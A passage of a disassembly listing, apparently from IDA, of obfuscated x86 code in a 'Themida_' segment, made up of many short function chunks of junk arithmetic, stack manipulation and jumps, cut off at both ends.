loc_56318D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_572915: ; CODE XREF: sub_561541+1B28j push edx mov edx, 660D7D8Ch shr edx, 1 push ebx mov ebx, 4B19791Bh push edx mov edx, 0FFFFFFFFh add ebx, edx jmp loc_568063 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_572930: ; CODE XREF: sub_56EE9F+628Ej sub ecx, 4 xchg ecx, [esp+8+var_8] pop esp mov [esp+4+var_4], esi mov esi, 0BAC647h jmp loc_562381 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D93 loc_572944: ; CODE XREF: sub_568D93-5D49j mov ecx, ebx jmp loc_564BF8 ; END OF FUNCTION CHUNK FOR sub_568D93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_57294B: ; CODE XREF: sub_56FA44-4480j add ecx, eax pop eax push [esp+4+var_4] mov esi, [esp+8+var_8] jmp loc_56FE9B ; END OF FUNCTION CHUNK FOR sub_56FA44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_572959: ; CODE XREF: sub_56D359+3j mov eax, [esp+4+var_4] push ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 jmp loc_56DA9D ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_572970: ; CODE XREF: sub_56AEF2+1F6Dj mov eax, [esp-18h+arg_14] add esp, 4 sub bl, al push eax mov ah, 64h sub bl, 1Dh add bl, ah add bl, 1Dh jmp loc_57012F ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_572988: ; CODE XREF: sub_560056+13FA5j xor [esp+10h+var_10], ebx xor ebx, [esp+10h+var_10] jmp loc_56B143 ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_572993: ; CODE XREF: sub_574FC9-5A7Bj add ebx, edx pop edx push edi mov edi, 3D6E7858h jmp loc_570209 ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_5729A1: ; CODE XREF: sub_566117+3AAEj xchg ebx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push 5E59h mov [esp+0], esi jmp loc_563667 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_5729B4: ; CODE XREF: sub_574304-137A8j xchg edx, [esp+10h+var_10] pop esp push ebp mov ebp, 5862093Fh and ebp, 65FC79E0h inc ebp jmp loc_567A7F ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_5729CA: ; CODE XREF: sub_56638C+2FDEj mov esp, [esp+8+var_8] mov ax, [esp+0] push ebx mov ebx, esp push edx jmp loc_574249 ; END OF FUNCTION CHUNK FOR sub_56638C ; =============== S U B R O U T I N E ======================================= sub_5729DA proc near ; DATA XREF: Themida_:0055FE7Co push dword ptr [edx] jmp loc_55FF9F sub_5729DA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5729E1: ; CODE XREF: sub_57354D-509Dj sub edi, 52944A64h sub edi, 44635485h pop edx push edx mov edx, 4 jmp loc_569F64 ; END OF FUNCTION CHUNK FOR sub_57354D ; =============== S U B R O U T I N E ======================================= sub_5729F9 proc near ; DATA XREF: Themida_:0055FEF4o var_C = dword ptr -0Ch var_6 = dword ptr -6 ; FUNCTION CHUNK AT 005608EB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005634E9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056436F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056807C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056F6CD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056F7D4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00574774 SIZE 0000000A BYTES lodsb jmp loc_56F6CD sub_5729F9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_5729FF: ; CODE XREF: sub_572641-872Ej xor bl, 7Fh mov ah, bl mov ebx, [esp+0Ch+var_C] add esp, 4 inc ah push edx mov dl, 0E8h neg dl not dl neg dl xor dl, 76h sub ah, dl pop edx shr ah, 1 xor ah, 12h jmp loc_56406A ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_572A28: ; CODE XREF: sub_561027-203j or edx, eax shl edx, 1 push 752h mov [esp-4+arg_0], esi jmp loc_574593 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A423 loc_572A39: ; CODE XREF: sub_56A423+59EFj mov edx, 44616FE2h shr edx, 7 sub edx, 94066EF9h jmp loc_56C769 ; END OF FUNCTION CHUNK FOR sub_56A423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_572A4C: ; CODE XREF: sub_565632+C328j pop eax jmp loc_5665D4 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_572A52: ; CODE XREF: sub_56A7FB+2568j pop cx shl ch, 8 add ch, 1Dh mov bl, ch pop ecx or bl, 49h jmp loc_57462D ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_572A65: ; CODE XREF: sub_571F6F-B358j add bl, ah sub bl, 4Ah jmp loc_5725BB ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_572A6F: ; CODE XREF: sub_561418+14064j mov eax, [esp+14h+var_14] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+18h+var_18] jmp loc_56D8F4 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5722C8 loc_572A86: ; CODE XREF: sub_5722C8-4FB8j add esp, 4 push ecx jmp loc_566D02 ; END OF FUNCTION CHUNK FOR sub_5722C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_572A8F: ; CODE XREF: sub_571C93-F4AEj pop ebp jmp loc_56AB0B ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0CB loc_572A95: ; CODE XREF: sub_56E0CB+42C1j xchg eax, esi not eax xchg eax, esi xchg esi, ebx jmp loc_5620BF ; END OF FUNCTION CHUNK FOR sub_56E0CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_572AA0: ; CODE XREF: sub_574AF3-C9B2j push edi jmp loc_5635AE ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_572AA6: ; CODE XREF: sub_560CF1+937Aj push edi not [esp+4+var_4] pop edi xchg edi, ecx xor edi, ecx xor ecx, edi xor edi, ecx push 0C3Bh mov [esp+4+var_4], eax sub esp, 4 jmp loc_561746 ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_572AC6: ; CODE XREF: sub_5605BC+12774j pop ecx and ebp, 67B621E7h neg ebp push edi mov edi, 9849DE1Fh xor ebp, edi pop edi add ebx, ebp pop ebp sub ebx, 4 jmp loc_564A71 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_572AE6: ; CODE XREF: sub_570CE4-6BABj xor ecx, 0B5D4511h add edi, ecx mov ecx, [esp+10h+var_10] push ecx push esp pop ecx push eax mov eax, 27E64978h and eax, 7EC62E0h jmp loc_573FC0 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_572B04: ; CODE XREF: sub_56DA43-5151j add esp, 4 pop dword ptr [esp+0] mov esp, [esp-4+arg_0] mul ecx push 69A4h mov [esp-8+arg_4], edx push eax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_572B1E: ; CODE XREF: sub_56C38F+7E2j mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] push ebp mov ebp, 2 add ecx, ebp pop ebp xor ecx, [esp+0] jmp loc_562E7E ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_572B46: ; CODE XREF: sub_560EA2+1016Aj add eax, ecx mov ecx, [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], esi push esp pop esi jmp loc_56BECD ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573A7F loc_572B58: ; CODE XREF: sub_573A7F-74BBj pop edi jmp loc_56E4EC ; END OF FUNCTION CHUNK FOR sub_573A7F ; --------------------------------------------------------------------------- loc_572B5E: ; CODE XREF: Themida_:00571BD3j xor edi, ebx pop ebx xor eax, edi mov edi, [esp] push esi push esp mov esi, [esp] add esp, 4 add esi, 4 jmp loc_560424 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56959A loc_572B7C: ; CODE XREF: sub_56959A-8820j shr eax, 3 add eax, 628D3FA0h xor eax, 4B9545D9h jmp loc_56AAB6 ; END OF FUNCTION CHUNK FOR sub_56959A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_572B8E: ; CODE XREF: sub_56B06D+874Fj mov ecx, [esp+1Ch+var_1C] add esp, 4 add esp, 4 sub ebx, 379B1807h or eax, ebx pop ebx or eax, 124E37F8h shl eax, 8 push 176Ch mov [esp+14h+var_14], edx jmp loc_56E241 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_572BB8: ; CODE XREF: sub_5678CB-85j mov dl, 7Ch jmp loc_574D5D ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_572BBF: ; CODE XREF: sub_56AB5E+8EDEj sub ecx, 3E6E0951h sub ecx, 0FFFFFFFFh sub ecx, 481C50F1h sub ecx, 1 sub ecx, 7DD2B8E6h sub edx, ecx pop ecx add ebp, 0F480FD3h add ebp, edx sub ebp, 0F480FD3h pop edx sub ebp, 4 xor ebp, [esp+10h+var_10] jmp loc_566462 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_572BF7: ; CODE XREF: sub_574AF3-1153Aj xor edi, [esp+8+var_8] xor [esp+8+var_8], edi xor edi, [esp+8+var_8] pop esp jmp loc_568B93 ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ED9 loc_572C06: ; CODE XREF: sub_562ED9-285Aj pop esp push edx mov edx, esp jmp sub_56DA43 ; END OF FUNCTION CHUNK FOR sub_562ED9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_572C0F: ; CODE XREF: sub_5678CB+1F97j add esp, 4 add ch, 10h jmp loc_56B1C8 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_572C1D: ; CODE XREF: sub_564020+A360j add edx, 10E44F5h not edx add edx, 411DC520h sub eax, edx pop edx jmp loc_56069B ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_572C33: ; CODE XREF: sub_561418+6949j inc eax and eax, 2CB65CF7h xor eax, 6F221A4Fh add eax, 551E5486h sub edx, eax pop eax add esi, edx pop edx and ebx, esi push dword ptr [esp+0] push [esp-4+arg_0] pop esi push ebp mov ebp, esp add ebp, 4 jmp loc_562060 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_572C60: ; CODE XREF: sub_572075-6072j mov edx, [esp+0Ch+var_C] add esp, 4 sub esi, 39451D2Ch push ecx push edx mov edx, 343B7E17h push ebx jmp loc_56346B ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_572C7C: ; CODE XREF: sub_566C83+A3B7j mov edx, esp add edx, 4 push ebp jmp loc_566E28 ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_572C8A: ; CODE XREF: sub_572DD7-116F2j pop esp mov [esp+4+var_4], eax push 394Ah mov [esp+8+var_8], ecx push 175D44CCh pop ecx add ecx, 321F2E1Eh inc ecx shr ecx, 8 add ecx, 1FABA2A0h mov eax, ecx pop ecx dec eax jmp loc_566CD6 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_572CB5: ; CODE XREF: sub_5738F4-117DDj inc edi shl edi, 8 xor edi, 5A408004h jmp loc_56F8D9 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AA2B loc_572CC4: ; CODE XREF: sub_56AA2B-FBBj inc ecx jmp loc_572296 ; END OF FUNCTION CHUNK FOR sub_56AA2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56264C loc_572CCA: ; CODE XREF: sub_56264C+1112j pop esp jmp sub_56C7AA ; END OF FUNCTION CHUNK FOR sub_56264C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_572CD0: ; CODE XREF: sub_5687A3+109Dj sub ebx, 4C9061ECh add ebx, 58844835h sub ebx, eax push 7084h mov [esp+4+var_4], eax mov eax, 58844835h sub ebx, eax mov eax, [esp+4+var_4] add esp, 4 push 5F7Bh jmp loc_573364 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_572D00: ; CODE XREF: sub_56351E+33B5j mov esp, [esp+0] jmp loc_56A0B8 ; END OF FUNCTION CHUNK FOR sub_56351E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B37 loc_572D08: ; CODE XREF: sub_566B37+5C9j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] jmp loc_568E99 ; END OF FUNCTION CHUNK FOR sub_566B37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_572D1C: ; CODE XREF: sub_5605BC+11B9j sub ecx, 7A3A186Fh and ecx, 7CE95990h xor ecx, 2CF56C99h or ebp, ecx jmp loc_572AC6 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_572D35: ; CODE XREF: sub_560844+10464j push 5BF64431h jmp loc_574039 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_572D3F: ; CODE XREF: sub_56FA44+3A10j pop esi jmp loc_56B5B9 ; END OF FUNCTION CHUNK FOR sub_56FA44 ; =============== S U B R O U T I N E ======================================= sub_572D45 proc near ; DATA XREF: Themida_:0055FD2Co var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 ; FUNCTION CHUNK AT 00562474 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00565C59 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00566D9F SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00567209 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00570250 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005705A9 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00573DCA SIZE 0000001F BYTES mov ax, [esp+0] push 0E75h mov [esp+4+var_4], ebx push esp mov ebx, [esp+8+var_8] jmp loc_565C59 sub_572D45 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_572D5A: ; CODE XREF: sub_569A75-89C6j sub al, dh sub al, 1Dh mov edx, dword ptr [esp+2+var_2] jmp loc_56C57E ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_572D66: ; CODE XREF: sub_560EA2+130AEj add edx, 8703FADFh jmp loc_563060 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ABD0 loc_572D71: ; CODE XREF: sub_56ABD0-6C40j pop edi sub ebx, 0BC50542h add edx, 2A4C53A4h jmp loc_57319A ; END OF FUNCTION CHUNK FOR sub_56ABD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_572D83: ; CODE XREF: sub_56B06D+5336j mov edi, 4 sub [esp+18h+var_14], 1F50717Bh push ebp mov ebp, 7FD92608h add [esp+1Ch+var_14], ebp pop ebp add [esp+18h+var_14], edi jmp loc_568F46 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_572DA4: ; CODE XREF: sub_56D69D-6248j push edx mov edx, 1 sub esi, edx jmp loc_565626 ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_572DB1: ; CODE XREF: sub_5753A5-B187j sub edi, 6C4D29D5h shl edi, 8 shl edi, 5 add edi, 469FCF06h add esi, edi pop edi pop edx xor eax, esi mov esi, [esp+0Ch+var_C] add esp, 4 jmp loc_563C60 ; END OF FUNCTION CHUNK FOR sub_5753A5 ; =============== S U B R O U T I N E ======================================= sub_572DD7 proc near ; DATA XREF: Themida_:0055FD88o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005616DC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00561C2C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005648CC SIZE 00000039 BYTES ; FUNCTION CHUNK AT 00565797 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00565F98 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00566B0E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00566CD6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00568A25 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005690A3 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056B4D2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056C008 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F456 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0056FA5C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005716CF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00571FD7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005728A1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00572C8A SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0057339B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00573C13 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00573F55 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005741C1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00574396 SIZE 00000011 BYTES mov eax, [esp+0] push edi push 7F6Dh mov [esp+8+var_8], esp add [esp+8+var_8], 4 jmp loc_5716CF sub_572DD7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574896 loc_572DEF: ; CODE XREF: sub_574896-D7E3j xchg eax, [esp-8+arg_4] pop esp pop [esp-0Ch+arg_8] pop esp xor [esp-14h+arg_10], eax pushf jmp loc_568B25 ; END OF FUNCTION CHUNK FOR sub_574896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ABD0 loc_572E00: ; CODE XREF: sub_56ABD0+8602j mov esi, 294C6B63h dec esi jmp loc_571EB3 ; END OF FUNCTION CHUNK FOR sub_56ABD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_572E0B: ; CODE XREF: sub_5734A7-11DD0j pop edx sub esi, edi push [esp+4+var_4] jmp loc_56B7CD ; END OF FUNCTION CHUNK FOR sub_5734A7 ; =============== S U B R O U T I N E ======================================= sub_572E16 proc near ; DATA XREF: Themida_:0055FF48o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005606A5 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00560FF5 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00562454 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005628E8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005647B4 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056553A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005666D0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00567B1A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00569A2C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056A3F9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056AF59 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F4BB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056F8E0 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00570D0D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00571254 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057267E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005744A9 SIZE 00000053 BYTES push dword ptr [esp+0] mov eax, [esp+4+var_4] add esp, 4 sub esp, 4 mov [esp+4+var_4], eax push 34C9h push esp pop [esp+0Ch+var_C] jmp loc_5666D0 sub_572E16 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_572E36: ; CODE XREF: sub_560EA2+C494j or ebx, 1F746242h shl ebx, 4 not ebx xor ebx, 0C96F4BF8h jmp loc_560DCE ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_572E4C: ; CODE XREF: sub_5685B2-7E67j mov ebx, edx mov esi, ebx jmp loc_564EB8 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_572E55: ; CODE XREF: sub_566117+C540j add ebp, ebx pop ebx sub esp, 4 mov [esp+8+var_8], esi mov esi, 72FB3493h sub esi, 7BE20479h not esi add esi, 707F4027h jmp sub_568DD7 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_572E79: ; CODE XREF: sub_561418+13C2Dj dec edx push edx not [esp+4+var_4] jmp loc_5703CD ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_572E83: ; CODE XREF: sub_57146D-6FA7j movzx eax, al push small 5D67h mov [esp-4+arg_0], ax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_572E93: ; CODE XREF: sub_563FA2+1140Fj add dword ptr [esp+0], 4 pop esi add esi, 4 sub esp, 4 jmp loc_5613C9 ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_572EA6: ; CODE XREF: sub_56CC46-FFj shl edx, 6 shl edx, 1 xor edx, 4FB24684h add ebx, edx jmp loc_565620 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_572EB8: ; CODE XREF: sub_5666C3+140j xor ebp, 0A333814Bh mov edx, ebp pop ebp jmp loc_5752B1 ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_572EC6: ; CODE XREF: sub_56351E+6BA1j add edi, 4 jmp loc_5742B1 ; END OF FUNCTION CHUNK FOR sub_56351E ; --------------------------------------------------------------------------- loc_572ED1: ; CODE XREF: Themida_:00564E6Dj pop dword ptr [esp] mov esp, [esp] jmp loc_5625C1 ; =============== S U B R O U T I N E ======================================= sub_572EDC proc near ; DATA XREF: Themida_:0055FE68o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056037F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056C24D SIZE 00000019 BYTES push dword ptr [esp+0] jmp loc_56C24D sub_572EDC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_572EE4: ; CODE XREF: sub_561541+A95Fj add esp, 4 mov ecx, edx pop edx push edx push ebp mov ebp, 0 jmp loc_56018C ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569B75 loc_572EF9: ; CODE XREF: sub_569B75+1B0Bj mov esi, [esp+0] add esp, 4 jmp loc_56054F ; END OF FUNCTION CHUNK FOR sub_569B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_572F04: ; CODE XREF: sub_57354D-1660j sub [esp+4+var_4], 7BAE44F2h push [esp+4+var_4] pop ecx add esp, 4 jmp loc_560E6D ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_572F17: ; CODE XREF: sub_574304-910Aj add esp, 4 push ebp push esp jmp loc_566AB0 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_572F21: ; CODE XREF: sub_569A84+2301j add esp, 4 sub edi, 240F2AC2h add edi, ebp push edx mov edx, 240F2AC2h add edi, edx pop edx push [esp+8+var_8] pop ebp jmp loc_57336F ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562954 loc_572F41: ; CODE XREF: sub_562954+681Aj sub ebp, 636235EDh add ebp, edx jmp sub_560D31 ; END OF FUNCTION CHUNK FOR sub_562954 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564EBE loc_572F4E: ; CODE XREF: sub_564EBE-2754j and esi, 15B779F0h sub esi, 1027080Ch add edi, esi mov esi, [esp+8+var_8] add esp, 4 xchg edi, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_568575 ; END OF FUNCTION CHUNK FOR sub_564EBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_572F6D: ; CODE XREF: sub_570CE4-910Ej push ecx jmp loc_57391E ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_572F73: ; CODE XREF: sub_56DA43+2D3j add ebp, 0C5ECB269h sub ecx, ebp pop ebp pop ebp add ecx, 7E745EFCh jmp loc_560024 ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_572F88: ; CODE XREF: sub_5738F4+1j mov ebx, 45182683h dec ebx dec ebx sub ebx, 358B3C74h sub ebx, 49FC68F7h add ebx, 0B6889677h or eax, ebx jmp loc_57067D ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B577 loc_572FA8: ; CODE XREF: sub_56B577+1Dj push esi jmp loc_570288 ; END OF FUNCTION CHUNK FOR sub_56B577 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561B55 loc_572FAE: ; CODE XREF: sub_561B55+360j and edi, 25FF5C42h or edi, 3BDF0801h push ebx mov ebx, 1F72265Fh inc ebx sub ebx, 0DF731A21h sub edi, ebx pop ebx add esi, edi mov edi, [esp+0] add esp, 4 xor esi, [esp-4+arg_0] xor [esp-4+arg_0], esi xor esi, [esp-4+arg_0] pop esp sub [esp-8+arg_4], eax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR 